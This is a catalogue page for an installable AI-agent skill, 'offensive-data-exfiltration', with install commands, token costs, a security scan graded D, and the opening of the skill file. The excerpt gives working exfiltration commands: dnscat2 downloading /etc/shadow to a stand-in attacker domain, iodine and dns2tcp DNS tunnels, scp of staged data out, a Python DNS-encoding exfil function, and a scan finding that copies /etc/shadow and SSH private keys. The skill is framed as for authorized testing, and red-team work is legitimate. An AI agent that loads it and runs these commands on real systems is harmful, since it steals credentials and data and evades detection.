offensive-data-exfiltration

offensive-data-exfiltration is a skill for Claude Code, Codex from SnailSploit/Claude-Red. It costs 273 tokens per session (5,570 once invoked), scanned D, original, MIT.

A security-testing methodology for moving data out of a computer through channels such as DNS, HTTPS, ICMP, cloud storage, or email. It covers preparing, encrypting, sending, and verifying data during authorized tests.

In plain words
What is it for?
Use it in authorized security exercises to inventory and stage test data, evaluate possible transfer channels, verify received files, and clean up test artifacts.
Why use it?
It provides a systematic way to assess whether an environment can be used to bypass normal data-transfer controls.

Skill for Claude CodeCodex

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods
npx agentmods add skills/snailsploit/claude-red/offensive-data-exfiltration
Any agent
npx skills add SnailSploit/Claude-Red --skill offensive-data-exfiltration
Clone the repo
git clone --depth 1 https://github.com/SnailSploit/Claude-Red

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for offensive-data-exfiltration

README.md
[![agentmods](https://agentmods.dev/badge/skills/snailsploit/claude-red/offensive-data-exfiltration.svg)](https://agentmods.dev/skills/snailsploit/claude-red/offensive-data-exfiltration)
Your own site
<a href="https://agentmods.dev/skills/snailsploit/claude-red/offensive-data-exfiltration"><img src="https://agentmods.dev/badge/skills/snailsploit/claude-red/offensive-data-exfiltration.svg" alt="Measured on agentmods" height="20"></a>
Per session 273 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 5,570 The whole file, excluding the scripts and references it only reads on demand.
Security scan D 3 findings. Scan, not verified.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5 $0.00273 $0.05570
Opus 5 $0.00137 $0.02785
Sonnet 5 $0.00055 $0.01114
Haiku 4.5 $0.00027 $0.00557

Measured 4d ago against content hash ae48370b9833, method: parsed. Prices are Anthropic first-party input rates as of 2026-08-30, from the pricing page.

Security

Grade D, and why

offensive-data-exfiltration scanned grade D with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 4d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Sends data to an external URLmediumData exfiltration

A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.

requests.post("https://api.github.com/gists",

Reaches for credential fileshighPrivilege escalation

SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.

cp /etc/shadow /home/*/.ssh/id_rsa /tmp/.cache/updates/ 2>/dev/null

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl -s -H "Host: your-collection.azureedge.net" \
Skills/post-exploitation/offensive-data-exfiltration/SKILL.md · 551 lines

How it starts

The opening of the file, as written. The whole thing — 551 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Data Exfiltration -- Offensive Methodology

Quick Workflow

  1. Inventory target data. Map files, databases, credentials. Assess volume and classification.
  2. Stage. Copy to a controlled directory. Strip unnecessary metadata and deduplicate.
  3. Compress and split. Tar/zip, then chunk for your channel (DNS < 253 bytes/label; HTTPS tolerates MB).
  4. Encrypt. AES-256-GCM or ChaCha20 every chunk. Never exfiltrate plaintext.
  5. Select channel. DNS (port 53 only), HTTPS (web allowed), ICMP (ping allowed), cloud (SaaS access).
  6. Transmit. Slow-drip for stealth; burst when you have a short window. Match baseline traffic rates.
  7. Verify receipt. Recompute SHA-256 on the receiving end and compare against source manifest.
  8. Clean up. Securely delete staging, temp files, dropped tools, and any scheduled tasks.

DNS Exfiltration

MITRE: T1048.003 -- Exfiltration Over Alternative Protocol: DNS

dnscat2

# Server -- set NS record for exfil.yourdomain.com -> your_server_ip first
ruby dnscat2.rb exfil.yourdomain.com --secret=YourSharedSecret

# Client on target
./dnscat --dns=domain:exfil.yourdomain.com --secret=YourSharedSecret

# Server console -- file transfer
session -i 1
download /etc/shadow /tmp/loot/shadow
# Force CNAME queries to avoid TXT-based detection
./dnscat --dns="domain=exfil.yourdomain.com,type=CNAME" --secret=YourSharedSecret

iodine Tunneling

# Server (authoritative NS)
iodined -f -c -P ExfilPassword 10.0.0.1 tunnel.yourdomain.com

# Client -- creates dns0 interface at 10.0.0.2
iodine -f -P ExfilPassword tunnel.yourdomain.com
scp /tmp/staged.tar.enc [email protected]:/loot/

dns2tcp

# Server (/etc/dns2tcpd.conf): domain = exfil.yourdomain.com, resources = ssh:127.0.0.1:22
dns2tcpd -f /etc/dns2tcpd.conf

# Client -- tunnel SSH over DNS
dns2tcpc -r ssh -z exfil.yourdomain.com -l 2222 -d 1
ssh -p 2222 [email protected]

TXT/CNAME Record Encoding

import base64, dns.resolver

def dns_exfil(data, domain, chunk_size=60):
    encoded = base64.b32encode(data).decode()
    for seq, i in enumerate(range(0, len(encoded), chunk_size)):
        query = f"{seq}.{encoded[i:i+chunk_size]}.data.{domain}"
        try: dns.resolver.resolve(query, "TXT")
        except Exception: pass  # data is in the query itself

Read the full file on GitHub · 551 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 4d ago First seen · 551 lines · 273 tokens per session scan D ae48370b9833

Subscribe to this mod's changes

offensive-data-exfiltration is a skill published in the GitHub repository SnailSploit/Claude-Red (3,023 stars, last pushed 5d ago), licensed MIT. It adds 273 tokens to every session and 5,570 once invoked, about $0.0014 per session on Opus 5. A static security scan graded it D with 3 findings (sends data to an external url, reaches for credential files, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.

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